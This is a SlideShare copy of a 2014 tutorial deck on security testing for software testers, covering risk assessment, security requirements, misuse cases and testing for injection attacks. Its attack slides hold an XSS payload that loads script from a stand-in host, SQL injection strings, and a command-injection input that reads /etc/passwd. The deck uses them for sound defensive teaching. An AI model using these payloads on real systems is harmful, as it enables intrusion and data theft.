SlideShare a Scribd company logo
TL
PM Tutorial
10/14/2014 1:00:00 PM
"Security Testing for Test
Professionals"
Presented by:
Jeff Payne
Coveros, Inc.
Brought to you by:
340 Corporate Way, Suite 300, Orange Park, FL 32073
888-268-8770 ∙ 904-278-0524 ∙ sqeinfo@sqe.com ∙ www.sqe.com
Jeff Payne
Coveros, Inc.
Jeff Payne is CEO and founder of Coveros, Inc., a software company that builds secure
software applications using agile methods. Since its inception in 2008, Coveros has become a
market leader in secure agile principles and was recognized by Inc. magazine as one of the
fastest growing private US companies. Prior to founding Coveros, Jeff was chairman of the
board, CEO, and cofounder of Cigital, Inc., a market leader in software security consulting. Jeff
has published more than thirty papers on software development and testing, and testified before
Congress on issues of national importance, including intellectual property rights, cyber
terrorism, and software quality. Follow Jeff on Twitter @jefferyepayne.
1© Copyright 2013 Coveros Corporation. All rights reserved.
Security Testing
for Testing Professional
2© Copyright 2013 Coveros, Inc.. All rights reserved.
Trainer
Jeffery Payne
jeff.payne@coveros.com
Twitter: @jefferyepayne
Jeffery Payne is CEO and founder of Coveros, Inc., a software company that
helps organizations accelerate the delivery of secure, reliable software. Coveros
uses agile development methods and a proven software assurance framework to
build security and quality into software from the ground up. Prior to founding
Coveros, Jeffery was Chairman of the Board, CEO, and co-founder of Cigital, Inc.
Under his direction, Cigital became a leader in software security and software
quality solutions, helping clients mitigate the risk of software failure. Jeffery is a
recognized software expert and popular speaker at both business and technology
conferences on a variety of software quality, security, and agile development
topics. He has also testified before Congress on issues of national importance,
including intellectual property rights, cyber-terrorism, Software research funding,
and software quality.
3© Copyright 2013 Coveros, Inc.. All rights reserved.
 Coveros helps organizations accelerate the delivery of secure, reliable
software
 Our consulting services:
– Agile software development
– Application security
– Software quality assurance
– Software process improvement
 Our key markets:
– Financial services
– Healthcare
– Defense
– Critical Infrastructure
Areas of Expertise
About Coveros
4© Copyright 2013 Coveros, Inc.. All rights reserved.
Agenda
 Introduction to Security Testing
– Information security
– Software security
– Risk assessment
– Security testing
 Security Requirements & Planning
– Functional security requirements
– Non-functional security requirements
– Test planning
 Testing for Common Attacks
 Integrating Security Testing into the Software Process
5© Copyright 2013 Coveros, Inc.. All rights reserved.
Introduction to Security Testing
6© Copyright 2013 Coveros, Inc.. All rights reserved.
When you hear the term “Information Security” …
What do you think it means?
What comes to mind?
What is Information Security?
7© Copyright 2013 Coveros, Inc.. All rights reserved.
Definition of Information Security
 Information Security means protecting information and
information systems from unauthorized access, use,
disclosure, disruption, modification, perusal, inspection,
recording or destruction.
 The key concepts of Information Security include:
– Confidentiality
– Integrity
– Availability
– Authenticity
– Non-Repudiation
What is Information Security?
8© Copyright 2013 Coveros, Inc.. All rights reserved.
The Software Security Problem
Our IT systems are not castles any longer!
9© Copyright 2013 Coveros, Inc.. All rights reserved.
Why Software Security is Important
RISK IS
EVERYWHERE!
10© Copyright 2013 Coveros, Inc.. All rights reserved.
Common Security Nomenclature
Understanding Risk
 Risk: a possible future event which, if it occurs, will lead to an undesirable outcome
 Threat: A potential cause of an undesirable outcom
 Asset: Data, application, network, physical location, etc. that a threat may wish to
access, steal, destroy, or deny others access to
 Vulnerability: Any weakness, administrative process, or act of physical exposure
that makes an information asset susceptible to exploit by a threat.
 An exploit is a piece of software, a chunk of data, or sequence of commands that
takes advantage of a vulnerability in order to cause unintended or unanticipated
behavior to occur on computer software, hardware, or something electronic.
 Attack: the approach taken by a threat to exploit a vulnerability
– Denial of service, spoofing, tampering, escalation of privilege
11© Copyright 2013 Coveros, Inc.. All rights reserved.
Risk Assessment
 A risk assessment is commonly carried out by a team of
people who have subject area knowledge of the business /
product and information security
 Possible connections between identified threats and system
assets are examined and the risk of exposure is
determined:
– Impact: the consequence of an asset being exposed
– Likelihood: the likelihood that a threat can compromise an asset
 Residual risks are those that
have been deemed acceptable
and are not mitigated
 Risk assessment is a process
not a one time activity
Understanding Risk
12© Copyright 2013 Coveros, Inc.. All rights reserved.
 Business Risk: Loss of Customer Trust
– Professional hacker is able to access bank account information for all
banking customers due to poor authentication mechanisms in the on-
line banking application
– Business impacts $: High Impact as an estimated that 20% of
reserves will be taken out of bank by customers if hack is revealed
– Likelihood: High Likelihood as appropriate authentication
mechanisms are not built into the banking application
 Technical Risk: Lack of Authentication Mechanisms
– Inadequate use of
Examples of Risks
Understanding Risk
13© Copyright 2013 Coveros, Inc.. All rights reserved.
Identifying Threats and Assets
 Break into teams of 2-3 people.
 Each team will identify potential threats, assets, and risks to
a software application described on the next slide.
 Exercise Time Limit: 15 Minutes
Exercise #1
14© Copyright 2013 Coveros, Inc.. All rights reserved.
 Your company, SecureTelco, has developed an instant
messaging program to be used by corporations and government
agencies to chat securely about sensitive subjects
 SecureChat requires users to sign up with an account prior to
using the system. After authenticating with a username and
password, each user can message other users and expect their
conversations to be private.
 Users have the ability to add/remove friends from their IM list,
search for friends based on their email, block users from IMing
them, become “invisible” to all users on demand.
 Messages archives and activities logs document user behavior
and can be retrieved by the user or a SecreTelco Administrator
through the application or by the administrative console,
respectively.
Software Application
Exercise #1 – Identifying Threats, Assets, Risks
15© Copyright 2013 Coveros, Inc.. All rights reserved.
Questions to answer
 Threats
– What threats exist for this application?
– I.e. who might want to compromise it?
– Which of the threats you’ve identified are the highest priority to
protect the system against and why?
 Assets
– What important information resides within this application that would
motivate a threat to try and compromise it?
– Which of the assets you’ve identified are the highest priority to
protect and why?
 Business Risks
– If a particular threat is able to access an asset, what is the business
consequence in $$$$?
Exercise #1 – Identifying Threats, Assets, Risks
16© Copyright 2013 Coveros, Inc.. All rights reserved.
Threats to system
(H/M/L)
Business Risks Assets of interest
(H/M/L)
Exercise Results
17© Copyright 2013 Coveros, Inc.. All rights reserved.
 Security Testing is testing used to determine whether an
information system protects its assets from its threats.
 Security Testing is not a silver bullet for your enterprise
security. Security Testing doesn’t fix your security, it only
makes you aware of it. Security must be built into your
software
 A sound Security Testing process performs testing
activities:
– Before development begins
– During requirements definition and software design
– During implementation
– During deployment
– During maintenance and operations
Security Testing
18© Copyright 2013 Coveros, Inc.. All rights reserved.
 Provides a level of confidence that your system performs
securely within specifications.
 Security Testing is a preventative way to find small issues
before they become big, expensive ones.
– The 2007 CSI Computer Crime and Security Survey performed an
analysis of the average cost of a web security breach. The average
loss reported in the survey was $350,424.
 Security Testing ensures that people in your organization
understand and obey security policies.
 If involved right from the first phase of system development
life cycle, security testing can help eliminate flaws in the
design and implementation of the system.
Why is it important?
Security Testing
19© Copyright 2013 Coveros, Inc.. All rights reserved.
 Major goals of security testing
– Test the security features of a system
– Test the security properties of a system
– Test whether the system is implemented in a secure fashion
 Security features are controls you’ve implemented to protect
your system
– Authentication, Authorization, Encryption, etc.
 Security properties are closely associated with non-
functional security requirements
 Secure implementation means the software does not have
embedded vulnerabilities due to poor design or coding
practices
Aspects of Security Testing
Security Testing
20© Copyright 2013 Coveros, Inc.. All rights reserved.
Security Requirements
21© Copyright 2013 Coveros, Inc.. All rights reserved.
Security Requirements
Definition of Functional Requirements
 Functional Requirements: Statements of services the
system should provide, how the system should react to
particular inputs and how the system should behave in
particular situations. In many cases, functional
requirements explicitly state what the system should not do.
Where does Security fit in?
 Functional Security Requirements
 Additions to Functional Requirements to reduce the chance
of inserting vulnerabilities into code
22© Copyright 2013 Coveros, Inc.. All rights reserved.
Security Requirements
Definition of Functional Security Requirements
 Functional Security Requirements describe functional
requirements that provide security controls to mitigate the
risk that threats and improperly access assets
Examples
 Two factor authentication for logins
 Use of encryption to protect data communication
 Logging of system usage to detect anomalous behavior
 Access control for important files
23© Copyright 2013 Coveros, Inc.. All rights reserved.
 Functional requirements that do not fully specify what the
system should not do and/or what to do in the face of all
error conditions, are not secure.
 Additions to these requirements are necessary to assure a
secure system is built
 Examples:
– Error and Exception Handling
– Input Validation
– Secure Reboot
– Secure Application Configurations
Security Additions to Functional Requirements
Security Requirements
24© Copyright 2013 Coveros, Inc.. All rights reserved.
 Use cases describe functionality of how someone might use
a system
 Misuse cases describe how someone might (perhaps
unintentionally) do something in the system with a negative
security impact
 Abuse cases describe how a malicious attacker might
deliberately misuse your system to his advantage
We use misuse and abuse cases to understand what our
system must protect against and help design more
comprehensive security tests
Misuse and Abuse Cases
Security Requirements across Functionality
25© Copyright 2013 Coveros, Inc.. All rights reserved.
SecureChat Use Cases (High Level)
Example of Use Cases
Authenticate
Users
Chat with
Friends
Update Friend
List
View Logged
Chat Sessions
Register as a
User
SecureChat
User
Administrator
Edit User
Profile
Reset
Passwords
Create/Delete
Accounts
26© Copyright 2013 Coveros, Inc.. All rights reserved.
 Scenario
– SecureChat User authenticates with user and password
– User chooses friend from Friend List that is on-line
– User corresponds with friend (back and forth)
– User logs off
 Misuse / abuse case #1 for scenario
– Secure User types in incorrect user id on authentication screen
– System pops up “Invalid User” error box and returns user to
authentication screen
 Misuse/abuse case #2 for scenario
– SecureChat User authenticates with user and password
– User chooses friend from Friend List that is not on-line
– System does not allow selection of off-line Friend
Chat Use Case
Example of Use Case
27© Copyright 2013 Coveros, Inc.. All rights reserved.
Security Requirements
 Break into same teams as before.
 Analyze requirements for login process (on next slide) and:
– Modify existing requirements to make them more secure
– Add additional requirements that are missing
– Think about system misuses to make sure you have thought
through everything
 Create one test case for each requirement you finalize
 Exercise Time Limit: 15 Minutes
Exercise #2 – Defining Security Requirements
28© Copyright 2013 Coveros, Inc.. All rights reserved.
 SecureChat Authentication Requirements
– When a user attempts to authenticate with a valid username and an
invalid password, the application shall not authenticate the user and
return them to the authentication page.
– The system must alert the user that their attempt to authenticate has
failed due to an incorrect password (“Invalid Password”) utilizing the
standard error text formatting.
– When a user attempts to authenticate with a invalid username, the
application shall not authenticate the user and return them to the
authentication page.
– The system must alert the user that their attempt to authenticate has
failed due to an incorrect username (“Invalid Username”) utilizing the
standard error text formatting.
– What a user attempts to authenticate using a username and a valid
password, the application shall authenticate the user and redirect them
to the homepage.
Functional Security Requirement Examples
Exercise
29© Copyright 2013 Coveros, Inc.. All rights reserved.
Secure Authentication
Requirements
Sample Tests
Exercise Results
30© Copyright 2013 Coveros, Inc.. All rights reserved.
Security Requirements
Definition of Non-Functional Requirements
 Non-Functional Requirements: End-to-end constraints on
the services or functions offered by the system.
 Availability, Reliability, Performance, Scalability, Testability,
Security
Where does Security fit in?
 Specific aspects of availability and reliability affect the
security of your systems
 Application must comply with security regulations and
standards (HIPAA, GLB, PCI)
31© Copyright 2013 Coveros, Inc.. All rights reserved.
Non-Functional Requirements
Example Non-functional Security Requirements
 Confidential data will not be accessible by users other than
through the SecureChat client
 SecureChat shall have an availability of 99.9% at all times
 All communication with the Securechat central server must
be encrypted using 128-bit encryption
 SecureChat shall process a minimum of 8 transactions per
second.
 All SecureChat code shall be reviewed against our internal
coding standards prior to release
32© Copyright 2013 Coveros, Inc.. All rights reserved.
Security Test Planning
 Functional security tests based upon the functional security
requirements should be planned, designed, and executed along
with the rest of the functional testing
– Typically covered by a combination of unit, feature, and integration testing
activities
– Don’t forget integration … COTS security features are often integrated
incorrectly
 Non-functional security tests should be planned, designed, and
executed as followed:
– Unit level: secure code scanning to identify vulnerabilities
– Feature level: web application security testing plus any specific non-
functional security requirements that can be performed at this level
– Integration/System levels: more of the above based upon threats & risks
– System level: end-to-end testing and penetration testing that must be
done a production-like environment
What goes where
33© Copyright 2013 Coveros, Inc.. All rights reserved.
Testing to Mitigate Common Attacks
34© Copyright 2013 Coveros, Inc.. All rights reserved.
Input Validation
 Most common application security weakness: failure to
properly validate input
– From client
– From environment (often overlooked)
 Leads to many of the major vulnerabilities found in
applications
– Interpreter injection (SQL, JavaScript, XML, Command, …)
– Locale/Unicode attacks
– File system attacks
– Buffer overflows
 Data from a client application or a user should never be
trusted as they are susceptible to injection attacks
Common Attacks
35© Copyright 2013 Coveros, Inc.. All rights reserved.
 Injection attacks result when input from a user is interpreted
by a command processor or formed to manipulate the
program stack/heap
– These are, by far, the most rampant category of attacks over the past
20 years
What are Injection Attacks?
Common Attacks
<body><p>
<?
$msg = “Hi, “ + $name + “.”;
echo $msg
?>
</p></body>
<body><p>
Hi, Joe.
</p></body>
$name = Joe
<body><p>
Hi,
<script src=“http://www.bad.com/attack.js”/>.
</p></body>
$name = <script src=“http://bad.com/attack.js”/>
36© Copyright 2013 Coveros, Inc.. All rights reserved.
Input Validation Approaches
 Accept Known Good
– Check the data is one of a set of tightly constrained known good values
– “Whitelist” validation
– Only works when set of good values is small or previously identified
 Reject Known Bad
– Reject strings that contain potentially unacceptable characters (ex. If
you’re not expecting JavaScript, reject %3f)
– “Blacklist” validation
– A dangerous strategy because the possible set of bad data is infinite;
causes constant maintenance of blacklist
 Sanitize
– Rather than accept or reject, change the input into an acceptable
format
– Sound software engineering practice
Validating Input
37© Copyright 2013 Coveros, Inc.. All rights reserved.
 A very common vulnerability
 Allows an attacker to inject script into a vulnerable web
system that attacks the user
Cross-Site Scripting (XSS)
Common Input Attack #1
Type your name: Joe
http://myweb.com/index.php
Hi, Joe!
http://myweb.com/index.php?name=Joe
 What happens if we type our name as:
<script>alert(“Joe Hacker!”)</script>
 Reflective vs. Stored XSS
38© Copyright 2013 Coveros, Inc.. All rights reserved.
Testing for Reflected Cross-Site Scripting
 Identify existing scripting engines in your software
 Craft input to trigger visible HTML output you can validate
– <h1>Jeff</h1> to try and highlight text
– <script>alert(“Hi”)</script> to try and pop up alert box
Cross Site Scripting
Stored Cross-Site Scripting
 Identify existing scripting engines in your software
 Craft input to trigger visible output that is stored in an
internal database (same tests as above)
 Perform second input to see if script was stored and
executed
Check that ALL scripting engines cannot execute input!
39© Copyright 2013 Coveros, Inc.. All rights reserved.
SQL Injection
 What is SQL Injection?
– An SQL injection attack consists of the insertion or “injection” of an
SQL query via input data from the client to the application. A
successful exploit could read sensitive data, modify data, execute
administrative operations, recover the content to a given file and, in
some cases, issue commands to the operating system.
 Types of SQL Injection
– Inband – Data is extracted using the same channel that is used to
inject SQL code. In the simplest form, the retrieved data is
presented directly to the application web page.
– Out-of-band – Data is retrieved using a different channel (e.g., an
email with the results of the query is generated and sent to the
tester).
– Inferential – Data is not transferred, but the tester is able to
reconstruct the information by sending particular requests and
observing the resulting behavior of the DB Server.
Common Input Attack #2
40© Copyright 2013 Coveros, Inc.. All rights reserved.
SQL Injection Example
 Consider the following SQL query:
– SELECT * FROM Users WHERE Username='$username' AND
Password='$password'
 Assume the values of the input fields are obtained from the
user through a web form. Suppose we insert the following
Username and Password values:
– $username = 1' or '1' = '1
– $password = 1' or '1' = '1
 The query will be:
– SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND
Password='1' OR '1' = '1'
Common Attack #2: SQL Injection
41© Copyright 2013 Coveros, Inc.. All rights reserved.
SQL Injection Example (cont.)
 Another test involves the use of the UNION operator. We
suppose for our examples that the query executed from the
server is the following:
– SELECT Name, Phone, Address FROM Users WHERE Id=$id
 We will set the following Id value:
– $id = 1 UNION ALL SELECT creditCardNumber,1,1 FROM
CreditCardTable
 NOTE: we have selected other two values. These two values are necessary, in order
to avoid a syntax error.
 We will have the following query:
– SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION
ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
 The keyword ALL can be used to get around the DISTINCT
keyword.
SQL Injection
42© Copyright 2013 Coveros, Inc.. All rights reserved.
Testing for SQL Injection (cont.)
 Where to look for SQL Injection
– Authentication forms: Chances are high that the user credentials
are checked against a database that contains all usernames and
passwords (or their password hashes)
– Search Engines: Strings submitted could be used in a query that
extracts relevant records from a database.
– E-Commerce Sites: Products and their characteristics are very likely
to be stored in a database.
– Use your inherent knowledge of your application to pinpoint your
testing efforts.
SQL Injection
43© Copyright 2013 Coveros, Inc.. All rights reserved.
Command Injection
 Command injection attacks occur when inputs are allowed to
execute operating system shell commands and inputs is not
properly controlled.
 Most dangerous when valid inputs execute as administrator / root
 Example
– Ping 127.0.0.1 returns ping information and is a valid input
– cat /etc/passwd returns the contents of the password file and is
disallowed
– Ping 127.0.0.1;cat /etc/passwd may trick the program into giving up
the password by not noticing that multiple commands are being input
Input Attack #3
44© Copyright 2013 Coveros, Inc.. All rights reserved.
 Testing for all cases of injection attacks can be laborious
 There are lots of tools out there to help
 Leverage tools but also make sure validation code is correct
 Understand architecture to test unique components that
include scripting / executable capabilities
Use Tools!
Common Attacks
45© Copyright 2013 Coveros, Inc.. All rights reserved.
Integrating Security into Your Testing
Process
46© Copyright 2013 Coveros, Inc.. All rights reserved.
How do you add Security in?
Software Development Life Cycle
Define Use/Abuse
cases
Security
requirements
Assess
threats and
assets
Design Threat
modeling
Security test
planning
Develop
Deploy
Static
Analysis
Risk-based
security
testing
Penetration
testing
47© Copyright 2013 Coveros, Inc.. All rights reserved.
Classes of Tools
 Risk-based security testing tools
– Proactive web app scanners
– Proxies
– Fuzzers
 Secure code scanning tools
 Threat modeling (planning tool)
 Network scanning tools
 Password Crackers
Tools to Support Security Testing
48© Copyright 2013 Coveros, Inc.. All rights reserved.
Web Application Scanners and Proxies
 Where to use?
– Looking for XSS, Injection and input validation vulnerabilities; some
tools will attempt to actively exploit vulnerabilities.
 Free Tools
– Zed Attack Proxy
– Nikto
– W3af
– Paros
– Skipfish
– Wapiti
– wfuzz
 Paid Tools
– Netsparker
– WebSecurify
– Big Commercial: IBM AppScan, Cenzic Hailstorm, HP WebInspect
Tools to Support Security Testing
49© Copyright 2013 Coveros, Inc.. All rights reserved.
Password Crackers & Brute Force Tools
 Where to use?
– When you want to break the default credentials or test your
authentication mechanisms against common security tools.
 Free Tools
– THC Hydra
– Cain and Abel
– Wfuzz
 Paid Tools
– John the Ripper
Tools to Support Security Testing
50© Copyright 2013 Coveros, Inc.. All rights reserved.
Network Security Tools
 Where to use?
– Scanning for mis-configurations
– Testing for OS, application and network vulnerabilities
 Free Tools
– OpenVAS
 Paid Tools
– Nessus
– Core Impact
Tools to Support Security Testing
51© Copyright 2013 Coveros, Inc.. All rights reserved.
Wrap-Up
52© Copyright 2013 Coveros, Inc.. All rights reserved.
 OWASP Foundation, “OWASP Testing Guide v3”,
https://www.owasp.org/index.php/OWASP_Testing_Project, 2008
 Hope and Walther, “Web Security Testing Cookbook: Systematic Techniques to
Find Problems Fast,” O’Reilly, 2008
 Whittaker and Thompson, “How to Break Software Security,” Addison-Wesley,
2003
 Schneier, Bruce, “Secrets and Lies: Digital Security in a Networked World,”
Wiley, 2000
References
53© Copyright 2013 Coveros, Inc.. All rights reserved.
Questions?
Contact Information:
http://www.coveros.com
info@coveros.com
703.431.2920
Ad

More Related Content

What's hot (20)

Web application vulnerability assessment
Web application vulnerability assessmentWeb application vulnerability assessment
Web application vulnerability assessment
Ravikumar Paghdal
 
Penetration testing & Ethical Hacking
Penetration testing & Ethical HackingPenetration testing & Ethical Hacking
Penetration testing & Ethical Hacking
S.E. CTS CERT-GOV-MD
 
Security Testing
Security TestingSecurity Testing
Security Testing
Qualitest
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
Rick Wanner
 
Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & Testing
Deepu S Nath
 
Introduction to Security Testing
Introduction to Security TestingIntroduction to Security Testing
Introduction to Security Testing
vodQA
 
Security testing presentation
Security testing presentationSecurity testing presentation
Security testing presentation
Confiz
 
Security Testing for Web Application
Security Testing for Web ApplicationSecurity Testing for Web Application
Security Testing for Web Application
Precise Testing Solution
 
Web Application Security Testing
Web Application Security TestingWeb Application Security Testing
Web Application Security Testing
Marco Morana
 
Hacking and Defending APIs - Red and Blue make Purple.pdf
Hacking and Defending APIs - Red and Blue make Purple.pdfHacking and Defending APIs - Red and Blue make Purple.pdf
Hacking and Defending APIs - Red and Blue make Purple.pdf
Matt Tesauro
 
Introduction To Vulnerability Assessment & Penetration Testing
Introduction To Vulnerability Assessment & Penetration TestingIntroduction To Vulnerability Assessment & Penetration Testing
Introduction To Vulnerability Assessment & Penetration Testing
Raghav Bisht
 
Security Testing
Security TestingSecurity Testing
Security Testing
Kiran Kumar
 
Security testing vikesh kumar
Security testing vikesh kumarSecurity testing vikesh kumar
Security testing vikesh kumar
Vikesh Kumar
 
Manual testing concepts course 1
Manual testing concepts course 1Manual testing concepts course 1
Manual testing concepts course 1
Raghu Kiran
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
Anurag Srivastava
 
VAPT - Vulnerability Assessment & Penetration Testing
VAPT - Vulnerability Assessment & Penetration Testing VAPT - Vulnerability Assessment & Penetration Testing
VAPT - Vulnerability Assessment & Penetration Testing
Netpluz Asia Pte Ltd
 
Application Security - Your Success Depends on it
Application Security - Your Success Depends on itApplication Security - Your Success Depends on it
Application Security - Your Success Depends on it
WSO2
 
Getting Started with API Security Testing
Getting Started with API Security TestingGetting Started with API Security Testing
Getting Started with API Security Testing
SmartBear
 
Networking and penetration testing
Networking and penetration testingNetworking and penetration testing
Networking and penetration testing
Mohit Belwal
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2
Scott Sutherland
 
Web application vulnerability assessment
Web application vulnerability assessmentWeb application vulnerability assessment
Web application vulnerability assessment
Ravikumar Paghdal
 
Penetration testing & Ethical Hacking
Penetration testing & Ethical HackingPenetration testing & Ethical Hacking
Penetration testing & Ethical Hacking
S.E. CTS CERT-GOV-MD
 
Security Testing
Security TestingSecurity Testing
Security Testing
Qualitest
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
Rick Wanner
 
Web application security & Testing
Web application security  & TestingWeb application security  & Testing
Web application security & Testing
Deepu S Nath
 
Introduction to Security Testing
Introduction to Security TestingIntroduction to Security Testing
Introduction to Security Testing
vodQA
 
Security testing presentation
Security testing presentationSecurity testing presentation
Security testing presentation
Confiz
 
Web Application Security Testing
Web Application Security TestingWeb Application Security Testing
Web Application Security Testing
Marco Morana
 
Hacking and Defending APIs - Red and Blue make Purple.pdf
Hacking and Defending APIs - Red and Blue make Purple.pdfHacking and Defending APIs - Red and Blue make Purple.pdf
Hacking and Defending APIs - Red and Blue make Purple.pdf
Matt Tesauro
 
Introduction To Vulnerability Assessment & Penetration Testing
Introduction To Vulnerability Assessment & Penetration TestingIntroduction To Vulnerability Assessment & Penetration Testing
Introduction To Vulnerability Assessment & Penetration Testing
Raghav Bisht
 
Security Testing
Security TestingSecurity Testing
Security Testing
Kiran Kumar
 
Security testing vikesh kumar
Security testing vikesh kumarSecurity testing vikesh kumar
Security testing vikesh kumar
Vikesh Kumar
 
Manual testing concepts course 1
Manual testing concepts course 1Manual testing concepts course 1
Manual testing concepts course 1
Raghu Kiran
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
Anurag Srivastava
 
VAPT - Vulnerability Assessment & Penetration Testing
VAPT - Vulnerability Assessment & Penetration Testing VAPT - Vulnerability Assessment & Penetration Testing
VAPT - Vulnerability Assessment & Penetration Testing
Netpluz Asia Pte Ltd
 
Application Security - Your Success Depends on it
Application Security - Your Success Depends on itApplication Security - Your Success Depends on it
Application Security - Your Success Depends on it
WSO2
 
Getting Started with API Security Testing
Getting Started with API Security TestingGetting Started with API Security Testing
Getting Started with API Security Testing
SmartBear
 
Networking and penetration testing
Networking and penetration testingNetworking and penetration testing
Networking and penetration testing
Mohit Belwal
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2
Scott Sutherland
 

Viewers also liked (17)

A Very Large Enterprise Agile Transformation: Lessons Learned at Salesforce
A Very Large Enterprise Agile Transformation: Lessons Learned at SalesforceA Very Large Enterprise Agile Transformation: Lessons Learned at Salesforce
A Very Large Enterprise Agile Transformation: Lessons Learned at Salesforce
TechWell
 
Test Estimation in Practice
Test Estimation in PracticeTest Estimation in Practice
Test Estimation in Practice
TechWell
 
Test Automation Patterns: Issues and Solutions
Test Automation Patterns: Issues and SolutionsTest Automation Patterns: Issues and Solutions
Test Automation Patterns: Issues and Solutions
TechWell
 
Pairwise Testing Explained
Pairwise Testing ExplainedPairwise Testing Explained
Pairwise Testing Explained
TechWell
 
Introducing Keyword-Driven Test Automation
Introducing Keyword-Driven Test AutomationIntroducing Keyword-Driven Test Automation
Introducing Keyword-Driven Test Automation
TechWell
 
Can We Do Agile? Barriers to Agile Adoption
Can We Do Agile? Barriers to Agile AdoptionCan We Do Agile? Barriers to Agile Adoption
Can We Do Agile? Barriers to Agile Adoption
TechWell
 
Assessing Agile Engineering Practices
Assessing Agile Engineering PracticesAssessing Agile Engineering Practices
Assessing Agile Engineering Practices
TechWell
 
Measurement and Metrics for Test Managers
Measurement and Metrics for Test ManagersMeasurement and Metrics for Test Managers
Measurement and Metrics for Test Managers
TechWell
 
Using DevOps to Improve Software Quality in the Cloud
Using DevOps to Improve Software Quality in the CloudUsing DevOps to Improve Software Quality in the Cloud
Using DevOps to Improve Software Quality in the Cloud
TechWell
 
Meeting Strict Documentation Requirements in Agile
Meeting Strict Documentation Requirements in AgileMeeting Strict Documentation Requirements in Agile
Meeting Strict Documentation Requirements in Agile
TechWell
 
Software Managers: Their Place in Agile
Software Managers: Their Place in AgileSoftware Managers: Their Place in Agile
Software Managers: Their Place in Agile
TechWell
 
Simplify Project and Portfolio Planning with “Real Options”
Simplify Project and Portfolio Planning with “Real Options”Simplify Project and Portfolio Planning with “Real Options”
Simplify Project and Portfolio Planning with “Real Options”
TechWell
 
Top Ten Attacks to Break Mobile Apps
Top Ten Attacks to Break Mobile AppsTop Ten Attacks to Break Mobile Apps
Top Ten Attacks to Break Mobile Apps
TechWell
 
Introduction to Selenium and WebDriver
Introduction to Selenium and WebDriverIntroduction to Selenium and WebDriver
Introduction to Selenium and WebDriver
TechWell
 
Speak Like a Test Manager
Speak Like a Test ManagerSpeak Like a Test Manager
Speak Like a Test Manager
TechWell
 
Scaling Git for the Enterprise
Scaling Git for the EnterpriseScaling Git for the Enterprise
Scaling Git for the Enterprise
TechWell
 
End-to-End Testing with the Heuristic Software Test Model
End-to-End Testing with the Heuristic Software Test ModelEnd-to-End Testing with the Heuristic Software Test Model
End-to-End Testing with the Heuristic Software Test Model
TechWell
 
A Very Large Enterprise Agile Transformation: Lessons Learned at Salesforce
A Very Large Enterprise Agile Transformation: Lessons Learned at SalesforceA Very Large Enterprise Agile Transformation: Lessons Learned at Salesforce
A Very Large Enterprise Agile Transformation: Lessons Learned at Salesforce
TechWell
 
Test Estimation in Practice
Test Estimation in PracticeTest Estimation in Practice
Test Estimation in Practice
TechWell
 
Test Automation Patterns: Issues and Solutions
Test Automation Patterns: Issues and SolutionsTest Automation Patterns: Issues and Solutions
Test Automation Patterns: Issues and Solutions
TechWell
 
Pairwise Testing Explained
Pairwise Testing ExplainedPairwise Testing Explained
Pairwise Testing Explained
TechWell
 
Introducing Keyword-Driven Test Automation
Introducing Keyword-Driven Test AutomationIntroducing Keyword-Driven Test Automation
Introducing Keyword-Driven Test Automation
TechWell
 
Can We Do Agile? Barriers to Agile Adoption
Can We Do Agile? Barriers to Agile AdoptionCan We Do Agile? Barriers to Agile Adoption
Can We Do Agile? Barriers to Agile Adoption
TechWell
 
Assessing Agile Engineering Practices
Assessing Agile Engineering PracticesAssessing Agile Engineering Practices
Assessing Agile Engineering Practices
TechWell
 
Measurement and Metrics for Test Managers
Measurement and Metrics for Test ManagersMeasurement and Metrics for Test Managers
Measurement and Metrics for Test Managers
TechWell
 
Using DevOps to Improve Software Quality in the Cloud
Using DevOps to Improve Software Quality in the CloudUsing DevOps to Improve Software Quality in the Cloud
Using DevOps to Improve Software Quality in the Cloud
TechWell
 
Meeting Strict Documentation Requirements in Agile
Meeting Strict Documentation Requirements in AgileMeeting Strict Documentation Requirements in Agile
Meeting Strict Documentation Requirements in Agile
TechWell
 
Software Managers: Their Place in Agile
Software Managers: Their Place in AgileSoftware Managers: Their Place in Agile
Software Managers: Their Place in Agile
TechWell
 
Simplify Project and Portfolio Planning with “Real Options”
Simplify Project and Portfolio Planning with “Real Options”Simplify Project and Portfolio Planning with “Real Options”
Simplify Project and Portfolio Planning with “Real Options”
TechWell
 
Top Ten Attacks to Break Mobile Apps
Top Ten Attacks to Break Mobile AppsTop Ten Attacks to Break Mobile Apps
Top Ten Attacks to Break Mobile Apps
TechWell
 
Introduction to Selenium and WebDriver
Introduction to Selenium and WebDriverIntroduction to Selenium and WebDriver
Introduction to Selenium and WebDriver
TechWell
 
Speak Like a Test Manager
Speak Like a Test ManagerSpeak Like a Test Manager
Speak Like a Test Manager
TechWell
 
Scaling Git for the Enterprise
Scaling Git for the EnterpriseScaling Git for the Enterprise
Scaling Git for the Enterprise
TechWell
 
End-to-End Testing with the Heuristic Software Test Model
End-to-End Testing with the Heuristic Software Test ModelEnd-to-End Testing with the Heuristic Software Test Model
End-to-End Testing with the Heuristic Software Test Model
TechWell
 
Ad

Similar to Security Testing for Test Professionals (20)

Security Testing for Testing Professionals
Security Testing for Testing ProfessionalsSecurity Testing for Testing Professionals
Security Testing for Testing Professionals
TechWell
 
Security Testing for Test Professionals
Security Testing for Test ProfessionalsSecurity Testing for Test Professionals
Security Testing for Test Professionals
TechWell
 
Security Testing for Test Professionals
Security Testing for Test ProfessionalsSecurity Testing for Test Professionals
Security Testing for Test Professionals
TechWell
 
Security Testing for Testing Professionals
Security Testing for Testing ProfessionalsSecurity Testing for Testing Professionals
Security Testing for Testing Professionals
TechWell
 
Security Testing for Testing Professionals
